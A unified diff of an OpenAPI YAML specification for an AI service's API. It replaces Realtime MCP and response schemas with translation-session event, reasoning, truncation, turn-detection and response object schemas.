+ when available. It advances in 200 ms increments, but multiple transcript
+ deltas may share the same `elapsed_ms`. Treat it as alignment metadata,
+ not a unique transcript-delta identifier.
+ - type: 'null'
required:
+ - event_id
- type
- - code
- - message
- RealtimeMCPListTools:
+ - delta
+ x-oaiMeta:
+ name: session.input_transcript.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_125",
+ "type": "session.input_transcript.delta",
+ "delta": " hear",
+ "elapsed_ms": 1200
+ }
+ RealtimeTranslationServerEventSessionOutputAudioDelta:
type: object
- title: Realtime MCP list tools
description: |
- A Realtime item listing tools available on an MCP server.
+ Returned when translated output audio is available. The `delta` contains a
+ PCM16 audio chunk whose length can vary. Clients should decode and queue the
+ complete delta instead of assuming a fixed byte or sample count.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_list_tools
- description: The type of the item. Always `mcp_list_tools`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the list.
- server_label:
+ description: The event type, must be `session.output_audio.delta`.
+ const: session.output_audio.delta
+ delta:
type: string
- description: The label of the MCP server.
- tools:
- type: array
- items:
- $ref: '#/components/schemas/MCPListToolsTool'
- description: The tools available on the server.
- required:
- - type
- - server_label
- - tools
- RealtimeMCPProtocolError:
- type: object
- title: Realtime MCP protocol error
- properties:
- type:
+ description: Base64-encoded translated audio data.
+ sample_rate:
+ type: integer
+ description: Sample rate of the audio delta.
+ default: 24000
+ channels:
+ type: integer
+ description: Number of audio channels.
+ default: 1
+ format:
type: string
enum:
- - protocol_error
+ - pcm16
+ description: Audio encoding for `delta`.
x-stainless-const: true
- code:
- type: integer
- message:
- type: string
+ elapsed_ms:
+ anyOf:
+ - type: integer
+ description: |
+ Timing metadata for stream alignment, derived from the translation frame
+ when available. Treat `elapsed_ms` as alignment metadata, not a unique
+ event identifier.
+ - type: 'null'
required:
+ - event_id
- type
- - code
- - message
- RealtimeMCPToolCall:
+ - delta
+ x-oaiMeta:
+ name: session.output_audio.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_123",
+ "type": "session.output_audio.delta",
+ "delta": "Base64EncodedAudioDelta",
+ "sample_rate": 24000,
+ "channels": 1,
+ "format": "pcm16",
+ "elapsed_ms": 1200
+ }
+ RealtimeTranslationServerEventSessionOutputTranscriptDelta:
type: object
- title: Realtime MCP tool call
description: |
- A Realtime item representing an invocation of a tool on an MCP server.
+ Returned when translated transcript text is available.
+
+ Transcript deltas are append-only text fragments. Clients should not insert
+ unconditional spaces between deltas.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_call
- description: The type of the item. Always `mcp_call`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the tool call.
- server_label:
- type: string
- description: The label of the MCP server running the tool.
- name:
- type: string
- description: The name of the tool that was run.
- arguments:
+ description: The event type, must be `session.output_transcript.delta`.
+ const: session.output_transcript.delta
+ delta:
type: string
- description: A JSON string of the arguments passed to the tool.
- approval_request_id:
- anyOf:
- - type: string
- description: The ID of an associated approval request, if any.
- - type: 'null'
- output:
- anyOf:
- - type: string
- description: The output from the tool call.
- - type: 'null'
- error:
+ description: Append-only transcript text for the translated output audio.
+ elapsed_ms:
anyOf:
- - description: The error from the tool call, if any.
- anyOf:
- - $ref: '#/components/schemas/RealtimeMCPProtocolError'
- - $ref: '#/components/schemas/RealtimeMCPToolExecutionError'
- - $ref: '#/components/schemas/RealtimeMCPHTTPError'
- discriminator:
- propertyName: type
+ - type: integer
+ description: |
+ Timing metadata for stream alignment, derived from the translation frame
+ when available. It advances in 200 ms increments, but multiple transcript
+ deltas may share the same `elapsed_ms`. Treat it as alignment metadata,
+ not a unique transcript-delta identifier.
- type: 'null'
required:
+ - event_id
- type
- - id
- - server_label
- - name
- - arguments
- RealtimeMCPToolExecutionError:
+ - delta
+ x-oaiMeta:
+ name: session.output_transcript.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_124",
+ "type": "session.output_transcript.delta",
+ "delta": " escuch",
+ "elapsed_ms": 1200
+ }
+ RealtimeTranslationServerEventSessionUpdated:
type: object
- title: Realtime MCP tool execution error
+ description: |
+ Returned when a translation session is updated with a `session.update` event,
+ unless there is an error.
properties:
- type:
+ event_id:
type: string
- enum:
- - tool_execution_error
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- message:
- type: string
+ description: The event type, must be `session.updated`.
+ const: session.updated
+ session:
+ $ref: '#/components/schemas/RealtimeTranslationSession'
+ description: The translation session configuration.
required:
+ - event_id
- type
- - message
- RealtimeReasoning:
+ - session
+ x-oaiMeta:
+ name: session.updated
+ group: realtime
+ example: |
+ {
+ "type": "session.updated",
+ "event_id": "event_124",
+ "session": {
+ "id": "sess_123",
+ "type": "translation",
+ "model": "gpt-realtime-translate",
+ "expires_at": 1714857600,
+ "audio": {
+ "input": {
+ "transcription": {
+ "model": "gpt-realtime-whisper",
+ "language": "en"
+ },
+ "noise_reduction": {
+ "type": "near_field"
+ }
+ },
+ "output": {
+ "language": "es"
+ }
+ }
+ }
+ }
+ RealtimeTranslationSession:
type: object
- title: Realtime reasoning configuration
- description: |
- Configuration for reasoning-capable Realtime models such as `gpt-realtime-2`.
- properties:
- effort:
- $ref: '#/components/schemas/RealtimeReasoningEffort'
- RealtimeReasoningEffort:
- type: string
+ title: Realtime translation session
description: |
- Constrains effort on reasoning for reasoning-capable Realtime models such as
- `gpt-realtime-2`.
- enum:
- - minimal
- - low
- - medium
- - high
- - xhigh
- default: low
- RealtimeResponse:
- type: object
- description: The response resource.
+ A Realtime translation session. Translation sessions continuously translate input
+ audio into the configured output language.
properties:
id:
type: string
- description: The unique ID of the response, will look like `resp_1234`.
- object:
- x-stainless-const: true
- description: The object type, must be `realtime.response`.
- const: realtime.response
- status:
+ description: |
+ Unique identifier for the session that looks like `sess_1234567890abcdef`.
+ type:
type: string
enum:
- - completed
- - cancelled
- - failed
- - incomplete
- - in_progress
- description: "The final status of the response (`completed`, `cancelled`, `failed`, or \n`incomplete`, `in_progress`).\n"
- status_details:
+ - translation
+ description: |
+ The session type. Always `translation` for Realtime translation sessions.
+ x-stainless-const: true
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the session, in seconds since epoch.
+ model:
+ type: string
+ description: |
+ The Realtime translation model used for this session. This field is set at
+ session creation and cannot be changed with `session.update`.
+ audio:
type: object
- description: Additional details about the status.
+ description: |
+ Configuration for translation input and output audio.
properties:
- type:
- type: string
- enum:
- - completed
- - cancelled
- - incomplete
- - failed
- description: "The type of error that caused the response to fail, corresponding \nwith the `status` field (`completed`, `cancelled`, `incomplete`, \n`failed`).\n"
- reason:
- type: string
- enum:
- - turn_detected
- - client_cancelled
- - max_output_tokens
- - content_filter
- description: |
- The reason the Response did not complete. For a `cancelled` Response, one of `turn_detected` (the server VAD detected a new start of speech) or `client_cancelled` (the client sent a cancel event). For an `incomplete` Response, one of `max_output_tokens` or `content_filter` (the server-side safety filter activated and cut off the response).
- error:
+ input:
type: object
- description: "A description of the error that caused the response to fail, \npopulated when the `status` is `failed`.\n"
properties:
- type:
- type: string
- description: The type of error.
- code:
+ transcription:
+ anyOf:
+ - type: object
+ description: |
+ Optional source-language transcription. When configured, the server emits
+ `session.input_transcript.delta` events. Translation itself still runs from
+ the input audio stream.
+ properties:
+ model:
+ type: string
+ description: The transcription model used for source transcript deltas.
+ required:
+ - model
+ - type: 'null'
+ noise_reduction:
+ anyOf:
+ - type: object
+ description: |
+ Optional input noise reduction.
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ required:
+ - type
+ - type: 'null'
+ output:
+ type: object
+ properties:
+ language:
type: string
- description: Error code, if any.
- output:
- type: array
- description: The list of output items generated by the response.
- items:
- $ref: '#/components/schemas/RealtimeConversationItem'
- metadata:
- $ref: '#/components/schemas/Metadata'
+ description: |
+ Target language for translated output audio and transcript deltas.
+ required:
+ - id
+ - type
+ - expires_at
+ - model
+ - audio
+ x-oaiMeta:
+ name: The translation session object
+ group: realtime
+ example: |
+ {
+ "id": "sess_C9G5QPteg4UIbotdKLoYQ",
+ "type": "translation",
+ "expires_at": 1756324625,
+ "model": "gpt-realtime-translate",
+ "audio": {
+ "input": {
+ "transcription": {
+ "model": "gpt-realtime-whisper"
+ },
+ "noise_reduction": null
+ },
+ "output": {
+ "language": "es"
+ }
+ }
+ }
+ RealtimeTranslationSessionCreateRequest:
+ type: object
+ title: Realtime translation session configuration
+ description: |
+ Realtime translation session configuration. Translation sessions stream source
+ audio in and translated audio plus transcript deltas out continuously.
+ properties:
+ model:
+ type: string
+ description: |
+ The Realtime translation model used for this session.
audio:
type: object
- description: Configuration for audio output.
+ description: |
+ Configuration for translation input and output audio.
properties:
+ input:
+ type: object
+ properties:
+ transcription:
+ anyOf:
+ - type: object
+ description: |
+ Optional source-language transcription. When configured, the server emits
+ `session.input_transcript.delta` events. Translation itself still runs from
+ the input audio stream.
+ properties:
+ model:
+ type: string
+ description: The transcription model to use for source transcript deltas.
+ required:
+ - model
+ - type: 'null'
+ noise_reduction:
+ anyOf:
+ - type: object
+ description: |
+ Optional input noise reduction. Set to `null` to disable it.
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ required:
+ - type
+ - type: 'null'
output:
type: object
properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the output audio.
- voice:
- $ref: '#/components/schemas/VoiceIdsShared'
- default: alloy
+ language:
+ type: string
description: |
- The voice the model uses to respond. Voice cannot be changed during the
- session once the model has responded with audio at least once. Current
- voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
- `shimmer`, `verse`, `marin`, and `cedar`. We recommend `marin` and `cedar` for
- best quality.
- usage:
+ Target language for translated output audio and transcript deltas.
+ required:
+ - model
+ RealtimeTranslationSessionUpdateRequest:
+ type: object
+ title: Realtime translation session update
+ description: |
+ Realtime translation session fields that can be updated with `session.update`.
+ properties:
+ audio:
type: object
- description: "Usage statistics for the Response, this will correspond to billing. A \nRealtime API session will maintain a conversation context and append new \nItems to the Conversation, thus output from previous turns (text and \naudio tokens) will become the input for later turns.\n"
+ description: |
+ Configuration for translation input and output audio.
properties:
- total_tokens:
- type: integer
- description: "The total number of tokens in the Response including input and output \ntext and audio tokens.\n"
- input_tokens:
- type: integer
- description: "The number of input tokens used in the Response, including text and \naudio tokens.\n"
- output_tokens:
- type: integer
- description: "The number of output tokens sent in the Response, including text and \naudio tokens.\n"
- input_token_details:
+ input:
type: object
- description: Details about the input tokens used in the Response. Cached tokens are tokens from previous turns in the conversation that are included as context for the current response. Cached tokens here are counted as a subset of input tokens, meaning input tokens will include cached and uncached tokens.
properties:
- cached_tokens:
- type: integer
- description: The number of cached tokens used as input for the Response.
- text_tokens:
- type: integer
- description: The number of text tokens used as input for the Response.
- image_tokens:
- type: integer
- description: The number of image tokens used as input for the Response.
- audio_tokens:
- type: integer
- description: The number of audio tokens used as input for the Response.
- cached_tokens_details:
- type: object
- description: Details about the cached tokens used as input for the Response.
- properties:
- text_tokens:
- type: integer
- description: The number of cached text tokens used as input for the Response.
- image_tokens:
- type: integer
- description: The number of cached image tokens used as input for the Response.
- audio_tokens:
- type: integer
- description: The number of cached audio tokens used as input for the Response.
- output_token_details:
+ transcription:
+ anyOf:
+ - type: object
+ description: |
+ Optional source-language transcription. When configured, the server emits
+ `session.input_transcript.delta` events. Translation itself still runs from
+ the input audio stream.
+ properties:
+ model:
+ type: string
+ description: The transcription model to use for source transcript deltas.
+ required:
+ - model
+ - type: 'null'
+ noise_reduction:
+ anyOf:
+ - type: object
+ description: |
+ Optional input noise reduction. Set to `null` to disable it.
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ required:
+ - type
+ - type: 'null'
+ output:
type: object
- description: Details about the output tokens used in the Response.
properties:
- text_tokens:
- type: integer
- description: The number of text tokens used in the Response.
- audio_tokens:
- type: integer
- description: The number of audio tokens used in the Response.
- conversation_id:
- description: |
- Which conversation the response is added to, determined by the `conversation`
- field in the `response.create` event. If `auto`, the response will be added to
- the default conversation and the value of `conversation_id` will be an id like
- `conv_1234`. If `none`, the response will not be added to any conversation and
- the value of `conversation_id` will be `null`. If responses are being triggered
- automatically by VAD the response will be added to the default conversation
- type: string
- output_modalities:
- type: array
+ language:
+ type: string
+ description: |
+ Target language for translated output audio and transcript deltas.
+ RealtimeTruncation:
+ title: Realtime Truncation Controls
+ description: |
+ When the number of tokens in a conversation exceeds the model's input token limit, the conversation be truncated, meaning messages (starting from the oldest) will not be included in the model's context. A 32k context model with 4,096 max output tokens can only include 28,224 tokens in the context before truncation occurs.
+
+ Clients can configure truncation behavior to truncate with a lower max token limit, which is an effective way to control token usage and cost.
+
+ Truncation will reduce the number of cached tokens on the next turn (busting the cache), since messages are dropped from the beginning of the context. However, clients can also configure truncation to retain messages up to a fraction of the maximum context size, which will reduce the need for future truncations and thus improve the cache rate.
+
+ Truncation can be disabled entirely, which means the server will never truncate but would instead return an error if the conversation exceeds the model's input token limit.
+ anyOf:
+ - type: string
+ description: The truncation strategy to use for the session. `auto` is the default truncation strategy. `disabled` will disable truncation and emit errors when the conversation exceeds the input token limit.
+ enum:
+ - auto
+ - disabled
+ title: RealtimeTruncationStrategy
+ - type: object
+ title: Retention ratio truncation
+ description: Retain a fraction of the conversation tokens when the conversation exceeds the input token limit. This allows you to amortize truncations across multiple turns, which can help improve cached token usage.
+ properties:
+ type:
+ type: string
+ enum:
+ - retention_ratio
+ description: Use retention ratio truncation.
+ x-stainless-const: true
+ retention_ratio:
+ type: number
+ description: |
+ Fraction of post-instruction conversation tokens to retain (`0.0` - `1.0`) when the conversation exceeds the input token limit. Setting this to `0.8` means that messages will be dropped until 80% of the maximum allowed tokens are used. This helps reduce the frequency of truncations and improve cache rates.
+ minimum: 0
+ maximum: 1
+ token_limits:
+ type: object
+ description: Optional custom token limits for this truncation strategy. If not provided, the model's default token limits will be used.
+ properties:
+ post_instructions:
+ type: integer
+ description: Maximum tokens allowed in the conversation after instructions (which including tool definitions). For example, setting this to 5,000 would mean that truncation would occur when the conversation exceeds 5,000 tokens after instructions. This cannot be higher than the model's context window size minus the maximum output tokens.
+ minimum: 0
+ required:
+ - type
+ - retention_ratio
+ RealtimeTurnDetection:
+ anyOf:
+ - title: Realtime Turn Detection
+ description: |
+ Configuration for turn detection, ether Server VAD or Semantic VAD. This can be set to `null` to turn off, in which case the client must manually trigger model response.
+
+ Server VAD means that the model will detect the start and end of speech based on audio volume and respond at the end of user speech.
+
+ Semantic VAD is more advanced and uses a turn detection model (in conjunction with VAD) to semantically estimate whether the user has finished speaking, then dynamically sets a timeout based on this probability. For example, if user audio trails off with "uhhm", the model will score a low probability of turn end and wait longer for the user to continue speaking. This can be useful for more natural conversations, but may have a higher latency.
+
+ For `gpt-realtime-whisper` transcription sessions, turn detection must be
+ set to `null`; VAD is not supported.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - type: object
+ title: Server VAD
+ description: Server-side voice activity detection (VAD) which flips on when user speech is detected and off after a period of silence.
+ required:
+ - type
+ properties:
+ type:
+ type: string
+ default: server_vad
+ const: server_vad
+ description: |
+ Type of turn detection, `server_vad` to turn on simple Server VAD.
+ threshold:
+ type: number
+ description: |
+ Used only for `server_vad` mode. Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Used only for `server_vad` mode. Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Used only for `server_vad` mode. Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ create_response:
+ type: boolean
+ default: true
+ description: |
+ Whether or not to automatically generate a response when a VAD stop event occurs. If `interrupt_response` is set to `false` this may fail to create a response if the model is already responding.
+
+ If both `create_response` and `interrupt_response` are set to `false`, the model will never respond automatically but VAD events will still be emitted.
+ interrupt_response:
+ type: boolean
+ default: true
+ description: |
+ Whether or not to automatically interrupt (cancel) any ongoing response with output to the default
+ conversation (i.e. `conversation` of `auto`) when a VAD start event occurs. If `true` then the response will be cancelled, otherwise it will continue until complete.
+
+ If both `create_response` and `interrupt_response` are set to `false`, the model will never respond automatically but VAD events will still be emitted.
+ idle_timeout_ms:
+ anyOf:
+ - type: integer
+ minimum: 5000
+ maximum: 30000
+ description: |
+ Optional timeout after which a model response will be triggered automatically. This is
+ useful for situations in which a long pause from the user is unexpected, such as a phone
+ call. The model will effectively prompt the user to continue the conversation based
+ on the current context.
+
+ The timeout value will be applied after the last model response's audio has finished playing,
+ i.e. it's set to the `response.done` time plus audio playback duration.
+
+ An `input_audio_buffer.timeout_triggered` event (plus events
+ associated with the Response) will be emitted when the timeout is reached.
+ Idle timeout is currently only supported for `server_vad` mode.
+ - type: 'null'
+ - type: object
+ title: Semantic VAD
+ description: Server-side semantic turn detection which uses a model to determine when the user has finished speaking.
+ required:
+ - type
+ properties:
+ type:
+ type: string
+ const: semantic_vad
+ description: |
+ Type of turn detection, `semantic_vad` to turn on Semantic VAD.
+ eagerness:
+ type: string
+ default: auto
+ enum:
+ - low
+ - medium
+ - high
+ - auto
+ description: |
+ Used only for `semantic_vad` mode. The eagerness of the model to respond. `low` will wait longer for the user to continue speaking, `high` will respond more quickly. `auto` is the default and is equivalent to `medium`. `low`, `medium`, and `high` have max timeouts of 8s, 4s, and 2s respectively.
+ create_response:
+ type: boolean
+ default: true
+ description: |
+ Whether or not to automatically generate a response when a VAD stop event occurs.
+ interrupt_response:
+ type: boolean
+ default: true
+ description: |
+ Whether or not to automatically interrupt any ongoing response with output to the default
+ conversation (i.e. `conversation` of `auto`) when a VAD start event occurs.
+ - type: 'null'
+ Reasoning:
+ type: object
+ description: |
+ Configuration options for
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
+ title: Reasoning
+ properties:
+ mode:
+ $ref: '#/components/schemas/ReasoningModeEnum'
description: |
- The set of modalities the model used to respond, currently the only possible values are
- `[\"audio\"]`, `[\"text\"]`. Audio output always include a text transcript. Setting the
- output to mode `text` will disable audio output from the model.
- items:
- type: string
+ Controls the reasoning execution mode for the request.
+
+ When returned on a response, this is the effective execution mode.
+ effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ summary:
+ anyOf:
+ - type: string
+ description: |
+ A summary of the reasoning performed by the model. This can be
+ useful for debugging and understanding the model's reasoning process.
+ One of `auto`, `concise`, or `detailed`.
+
+ `concise` is supported for `computer-use-preview` models and all reasoning models after `gpt-5`.
enum:
- - text
- - audio
- max_output_tokens:
- description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls, that was used in this response.
+ - auto
+ - concise
+ - detailed
+ - type: 'null'
+ context:
anyOf:
- - type: integer
- type: string
+ description: |
+ Controls which reasoning items are rendered back to the model on later turns.
+ If omitted or set to `auto`, the model determines the context mode. The
+ `gpt-5.6` model family defaults to `all_turns`; earlier models default to
+ `current_turn`.
+
+ When returned on a response, this is the effective reasoning context mode
+ used for the response.
enum:
- - inf
- x-stainless-const: true
- RealtimeResponseCreateParams:
+ - auto
+ - current_turn
+ - all_turns
+ - type: 'null'
+ generate_summary:
+ anyOf:
+ - type: string
+ deprecated: true
+ description: |
+ **Deprecated:** use `summary` instead.
+
+ A summary of the reasoning performed by the model. This can be
+ useful for debugging and understanding the model's reasoning process.
+ One of `auto`, `concise`, or `detailed`.
+ enum:
+ - auto
+ - concise
+ - detailed
+ - type: 'null'
+ ReasoningEffort:
+ anyOf:
+ - type: string
+ enum:
+ - none
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ default: medium
+ description: |
+ Constrains effort on reasoning for reasoning models. Currently supported
+ values are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`.
+ Reducing reasoning effort can result in faster responses and fewer tokens
+ used on reasoning in a response. Not all reasoning models support every
+ value. See the
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning)
+ for model-specific support.
+ - type: 'null'
+ ReasoningItem:
type: object
- description: Create a new Realtime response with these parameters
+ description: |
+ A description of the chain of thought used by a reasoning model while generating
+ a response. Be sure to include these items in your `input` to the Responses API
+ for subsequent turns of a conversation if you are manually
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
+ title: Reasoning
properties:
- output_modalities:
+ type:
+ type: string
+ description: |
+ The type of the object. Always `reasoning`.
+ enum:
+ - reasoning
+ x-stainless-const: true
+ id:
+ type: string
+ description: |
+ The unique identifier of the reasoning content.
+ encrypted_content:
+ anyOf:
+ - type: string
+ description: |
+ The encrypted content of the reasoning item. This is populated by default
+ for reasoning items returned by `POST /v1/responses` and WebSocket
+ `response.create` requests.
+
+ When streaming, use the completed reasoning item and its
+ `encrypted_content` from the `response.output_item.done` event in
+ subsequent requests. The `encrypted_content` in
+ `response.output_item.added` may be incomplete. This is especially
+ important when `store` is `false` or when using Zero Data Retention.
+ - type: 'null'
+ summary:
type: array
description: |
- The set of modalities the model used to respond, currently the only possible values are
- `[\"audio\"]`, `[\"text\"]`. Audio output always include a text transcript. Setting the
- output to mode `text` will disable audio output from the model.
+ Reasoning summary content.
items:
- type: string
- enum:
- - text
- - audio
- instructions:
+ $ref: '#/components/schemas/Summary'
+ content:
+ type: array
+ description: |
+ Reasoning text content.
+ items:
+ $ref: '#/components/schemas/ReasoningTextContent'
+ status:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
- Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
- audio:
- type: object
- description: Configuration for audio input and output.
- properties:
- output:
- type: object
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ required:
+ - id
+ - summary
+ - type
+ Response:
+ title: The response object
+ allOf:
+ - $ref: '#/components/schemas/ModelResponseProperties'
+ - $ref: '#/components/schemas/ResponseProperties'
+ - type: object
+ properties:
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResponses'
+ truncation:
+ anyOf:
+ - type: string
+ description: |
+ The truncation strategy to use for the model response.
+ - `auto`: If the input to this Response exceeds
+ the model's context window size, the model will truncate the
+ response to fit the context window by dropping items from the beginning of the conversation.
+ - `disabled` (default): If the input size will exceed the context window
+ size for a model, the request will fail with a 400 error.
+ enum:
+ - auto
+ - disabled
+ default: disabled
+ - type: 'null'
+ id:
+ type: string
+ description: |
+ Unique identifier for this Response.
+ object:
+ type: string
+ description: |
+ The object type of this resource - always set to `response`.
+ enum:
+ - response
+ x-stainless-const: true
+ status:
+ type: string
+ description: |
+ The status of the response generation. One of `completed`, `failed`,
+ `in_progress`, `cancelled`, `queued`, or `incomplete`.
+ enum:
+ - completed
+ - failed
+ - in_progress
+ - cancelled
+ - queued
+ - incomplete
+ created_at:
+ type: number
+ format: unixtime
+ description: |
+ Unix timestamp (in seconds) of when this Response was created.
+ completed_at:
+ anyOf:
+ - type: number
+ format: unixtime
+ description: |
+ Unix timestamp (in seconds) of when this Response was completed.
+ Only present when the status is `completed`.
+ - type: 'null'
+ error:
+ $ref: '#/components/schemas/ResponseError'
+ incomplete_details:
+ anyOf:
+ - type: object
+ description: |
+ Details about why the response is incomplete.
properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the output audio.
- voice:
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- default: alloy
+ reason:
+ type: string
description: |
- The voice the model uses to respond. Supported built-in voices are
- `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
- `marin`, and `cedar`. You may also provide a custom voice object with
- an `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed
- during the session once the model has responded with audio at least once.
- We recommend `marin` and `cedar` for best quality.
- tools:
- type: array
- description: Tools available to the model.
- items:
+ The reason why the response is incomplete. `steered` means
+ the response stopped at a safe output boundary after a
+ WebSocket `response.steer` event. The server can then create
+ a successor response automatically with the queued input.
+ enum:
+ - max_output_tokens
+ - max_messages
+ - content_filter
+ - steered
+ - type: 'null'
+ output:
+ type: array
+ description: |
+ An array of content items generated by the model.
+
+ - The length and order of items in the `output` array is dependent
+ on the model's response.
+ - Rather than accessing the first item in the `output` array and
+ assuming it's an `assistant` message with the content generated by
+ the model, you might consider using the `output_text` property where
+ supported in SDKs.
+ items:
+ $ref: '#/components/schemas/OutputItem'
+ reasoning:
anyOf:
- - $ref: '#/components/schemas/RealtimeFunctionTool'
- - $ref: '#/components/schemas/MCPTool'
- tool_choice:
+ - $ref: '#/components/schemas/Reasoning'
+ - type: 'null'
+ instructions:
+ anyOf:
+ - description: |
+ A system (or developer) message inserted into the model's context.
+
+ When using along with `previous_response_id`, the instructions from a previous
+ response will not be carried over to the next response. This makes it simple
+ to swap out system (or developer) messages in new responses.
+ anyOf:
+ - type: string
+ description: |
+ A text input to the model, equivalent to a text input with the
+ `developer` role.
+ - type: array
+ title: Input item list
+ description: |
+ A list of one or many input items to the model, containing
+ different content types.
+ items:
+ $ref: '#/components/schemas/InputItem'
+ - type: 'null'
+ output_text:
+ anyOf:
+ - type: string
+ description: |
+ SDK-only convenience property that contains the aggregated text output
+ from all `output_text` items in the `output` array, if any are present.
+ Supported in the Python and JavaScript SDKs.
+ x-oaiSupportedSDKs:
+ - python
+ - javascript
+ - type: 'null'
+ x-stainless-skip: true
+ usage:
+ $ref: '#/components/schemas/ResponseUsage'
+ prompt_cache_options:
+ $ref: '#/components/schemas/PromptCacheOptions'
+ prompt_cache_diagnostics:
+ $ref: '#/components/schemas/PromptCacheDiagnostics'
+ moderation:
+ anyOf:
+ - $ref: '#/components/schemas/Moderation'
+ description: |
+ Moderation results for the response input and output, if moderated completions were requested.
+ - type: 'null'
+ parallel_tool_calls:
+ type: boolean
+ description: |
+ Whether to allow the model to run tool calls in parallel.
+ default: true
+ conversation:
+ anyOf:
+ - $ref: '#/components/schemas/ResponseConversation'
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: |
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
+ type: integer
+ - type: 'null'
+ required:
+ - id
+ - object
+ - created_at
+ - error
+ - incomplete_details
+ - instructions
+ - model
+ - tools
+ - output
+ - parallel_tool_calls
+ - metadata
+ - tool_choice
+ - temperature
+ - top_p
+ ResponseAudioDeltaEvent:
+ type: object
+ description: Emitted when there is a partial audio response.
+ properties:
+ type:
+ type: string
description: |
- How the model chooses tools. Provide one of the string modes or force a specific
- function/MCP tool.
- default: auto
- anyOf:
- - $ref: '#/components/schemas/ToolChoiceOptions'
- - $ref: '#/components/schemas/ToolChoiceFunction'
- - $ref: '#/components/schemas/ToolChoiceMCP'
- parallel_tool_calls:
- type: boolean
+ The type of the event. Always `response.audio.delta`.
+ enum:
+ - response.audio.delta
+ x-stainless-const: true
+ sequence_number:
+ type: integer
description: |
- Whether the model may call multiple tools in parallel. Only supported by
- reasoning Realtime models such as `gpt-realtime-2`.
- reasoning:
- $ref: '#/components/schemas/RealtimeReasoning'
- max_output_tokens:
+ A sequence number for this chunk of the stream response.
+ delta:
+ type: string
description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
- conversation:
+ A chunk of Base64 encoded response audio bytes.
+ required:
+ - type
+ - delta
+ - sequence_number
+ x-oaiMeta:
+ name: response.audio.delta
+ group: responses
+ example: |
+ {
+ "type": "response.audio.delta",
+ "response_id": "resp_123",
+ "delta": "base64encoded...",
+ "sequence_number": 1
+ }
+ ResponseAudioDoneEvent:
+ type: object
+ description: Emitted when the audio response is complete.
+ properties:
+ type:
+ type: string
description: |
- Controls which conversation the response is added to. Currently supports
- `auto` and `none`, with `auto` as the default value. The `auto` value
- means that the contents of the response will be added to the default
- conversation. Set this to `none` to create an out-of-band response which
- will not add items to default conversation.
- anyOf:
- - type: string
- - type: string
- default: auto
- enum:
- - auto
- - none
- metadata:
- $ref: '#/components/schemas/Metadata'
- prompt:
- $ref: '#/components/schemas/Prompt'
- input:
- type: array
+ The type of the event. Always `response.audio.done`.
+ enum:
+ - response.audio.done
+ x-stainless-const: true
+ sequence_number:
+ type: integer
description: |
- Input items to include in the prompt for the model. Using this field
- creates a new context for this Response instead of using the default
- conversation. An empty array `[]` will clear the context for this Response.
- Note that this can include references to items that previously appeared in the session
- using their id.
- items:
- $ref: '#/components/schemas/RealtimeConversationItem'
- RealtimeServerEvent:
- discriminator:
- propertyName: type
- description: |
- A realtime server event.
- anyOf:
- - $ref: '#/components/schemas/RealtimeServerEventConversationCreated'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemCreated'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemDeleted'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionCompleted'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionDelta'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionFailed'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemRetrieved'
